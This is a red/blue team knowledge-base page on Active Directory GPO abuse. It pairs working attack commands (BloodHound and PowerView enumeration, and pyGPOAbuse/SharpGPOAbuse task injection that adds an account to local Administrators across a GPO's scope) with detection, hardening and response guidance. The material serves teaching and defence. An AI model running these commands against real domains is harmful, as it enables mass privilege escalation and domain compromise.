GPO Abuse
Group Policy Objects (GPOs) are how AD applies configuration to users and computers: security policies, startup scripts, software installation, scheduled tasks, local group membership. A GPO is linked to OUs, sites or the domain, and every object in that scope runs it. That power is the problem: if an attacker can modify an existing GPO, or create and link a new one, they execute code or grant privileges en masse on every affected computer —potentially the whole domain. The broken invariant is that a GPO is, in effect, remote code execution at scale governed only by ACLs.
flowchart LR
A["GenericWrite over GPO<br/>or GpLink over OU"] -->|"inject task/script"| G["GPO"]
G -->|"applies within ~90 min"| E1["computer 1"]
G --> E2["computer 2"]
G --> E3["computer N"]
E1 --> R["SYSTEM / local admin en masse"]
Threat model
Section titled “Threat model”- Who attacks: someone with write access over an existing GPO (
GenericWrite,GenericAll,WriteDacl) that many computers apply, or with permission to link GPOs to an OU (GpLink), even without edit rights on existing GPOs. BloodHound flags both edges. - What it breaks: the separation between administering a GPO and executing on the computers in its scope. Modifying the GPO is executing on all of them.
- What it gains: execution as SYSTEM (computer task) or as the user (user task), addition to local administrators, startup scripts, on all objects in scope at once.
- Why it’s immediate and broad: GPOs refresh on their own (~90 min, or with
gpupdate) and apply with high privileges. Over a broad-scope GPO or the DCs’ OU, it’s domain compromise.
Anatomy
Section titled “Anatomy”Where the danger lives
Section titled “Where the danger lives”Two distinct permissions:
- Write over the GPO (
GenericWrite/WriteDaclover thegroupPolicyContainerobject): you modify its content and it affects its entire current scope. - GpLink over an OU: you create a new GPO with the malicious action and link it to that OU; the OU’s objects apply it.
What can be injected
Section titled “What can be injected”| Action | Runs as | Effect |
|---|---|---|
| Immediate scheduled task (computer) | SYSTEM | Command/shell on each computer |
| Immediate scheduled task (user) | the user | Execution in a user session |
| Restricted Groups / local group | — | Your account in local Administrators en masse |
| Startup/logon script | SYSTEM/user | Payload at boot/logon |
| User rights | — | Grant yourself SeDebugPrivilege, etc. |
| MSI installation | SYSTEM | Malicious software deployed |
The refresh and the window
Section titled “The refresh and the window”The GPO applies in the next cycle (~90 min + random) or when gpupdate is forced. An immediate task
runs as soon as the computer processes the GPO, not at reboot.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”# from Linux, with BloodHound: WriteGPO / GpLink edgesbloodhound-ce-python -c All -u jdoe -p 'Passw0rd!' -d corp.local -ns 10.10.10.10 --zip# from Windows, with PowerViewGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'Write|Create' }Get-DomainGPOUserLocalGroupMapping -Identity jdoe # where I'm a local admin via GPOBloodHound flags GenericWrite/GenericAll/WriteDacl over GPO and GpLink over OUs, and shows
which computers fall under each GPO.
Exploitation (Linux)
Section titled “Exploitation (Linux)”With write access over a GPO, pyGPOAbuse injects an immediate task (by default as SYSTEM on the
computers in scope):
# add your account to local Administrators across the GPO's scopepygpoabuse.py corp.local/jdoe:'Passw0rd!' -gpo-id '4B878AA9-238D-4975-B3A3-B7EE9990F66C' \ -command 'net localgroup administrators jdoe /add' -taskname 'Update'# cleanup after executionpygpoabuse.py corp.local/jdoe:'Passw0rd!' -gpo-id '...' -command '...' --cleanupExploitation (Windows)
Section titled “Exploitation (Windows)”SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author CORP\jdoe \ --Command "cmd.exe" --Arguments "/c net localgroup administrators jdoe /add" \ --GPOName "GPO-Vulnerable"# or add yourself as a local admin directly:SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jdoe --GPOName "Default Domain Policy"Linking a new GPO
Section titled “Linking a new GPO”With GpLink over an OU (even without write over existing GPOs), you create a GPO, put the malicious
action in it, and link it to that OU: the objects inside apply it. If the OU is the DCs’ one, it’s
direct domain compromise.
Investigator workflow
Section titled “Investigator workflow”- BloodHound: do I have
WriteGPOover a GPO, orGpLinkover an OU? - How many computers (and which) does that GPO affect? Does it include the DCs?
- Inject the minimum action needed (local admin on a target computer, better than SYSTEM across the fleet).
- Wait for the refresh or force
gpupdateif you have access. - Clean up the injected action and the link.
- pyGPOAbuse (Hackndo): partial Linux implementation (immediate tasks, PowerShell).
- SharpGPOAbuse (FSecureLABS): injects tasks, local groups, scripts and rights from Windows.
- GroupPolicyBackdoor (Synacktiv), GPOddity: more complete/stealthy alternatives.
- PowerView: GPO ACLs and local-admin-by-GPO mapping.
- GPOHound / Group3r / PingCastle: GPO auditing (also defensive).
Impact and chaining
Section titled “Impact and chaining”Execution as SYSTEM and/or local admin on all computers in scope, simultaneously. Over a broad-scope GPO or the DCs’ OU it’s domain compromise. It’s also a persistence vector: a backdoored GPO “revives” the malicious configuration on each refresh.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Changes to GPOs (modification of
gPCFileSysPath, new files inSYSVOL\...\Policies\): audit SYSVOL writes (event 5136 over GPO objects). - New scheduled tasks or Restricted Groups applied via GPO on many computers at once.
- New GPO links (
gPLink) over OUs, especially the DCs’ one. - Local user creation / addition to Administrators en masse (repeated event 4732).
Telemetry and sources
Section titled “Telemetry and sources”- Auditing of changes to GPO objects (5136) and of files in SYSVOL.
- Sysmon on endpoints for tasks and scripts applied by GPO.
- Specific alerts on the Default Domain Policy and the Default Domain Controllers Policy.
Hardening
Section titled “Hardening”- Minimize who can edit and link GPOs: audit and trim the ACLs (
WriteGPO/GpLink) with BloodHound/GPOHound. - Especially protect the Default Domain Policy, the Default Domain Controllers Policy and GPOs linked to the DCs’ OU (Tier 0): management only from PAW by Tier 0 accounts.
- Monitor SYSVOL for changes; review legacy GPOs with GPP (
cpassword, MS14-025 — see GPP cpassword).
Response
Section titled “Response”Revert the modified GPO and its link, delete tasks and local users created on affected computers, rotate exposed credentials, and if it touched the DCs or the domain, treat the domain as compromised.
CVEs and real cases
Section titled “CVEs and real cases”- GPO abuse is a configuration TTP (MITRE T1484.001 Group Policy Modification), not a CVE.
- MS14-025 (GPP cpassword): passwords encrypted with a publicly known AES key in GPP, readable by any domain user; a classic finding still present (see GPP cpassword).
- SharpGPOAbuse/pyGPOAbuse appear in red-team reports and in ransomware intrusions that use GPO to deploy the payload to the whole network at once.
Test checklist
Section titled “Test checklist”- Write over an existing GPO? (BloodHound
WriteGPO). -
GpLinkpermission over an OU (including the DCs’ one)? - Inject an immediate task (pyGPOAbuse/SharpGPOAbuse) → execution.
- Add yourself to local Administrators via GPO (Restricted Groups).
- Does the GPO affect many computers or the DCs?
- Legacy GPP with
cpassword(MS14-025). - Injected action cleaned up when done.
- Blue: GPO-change and SYSVOL auditing on?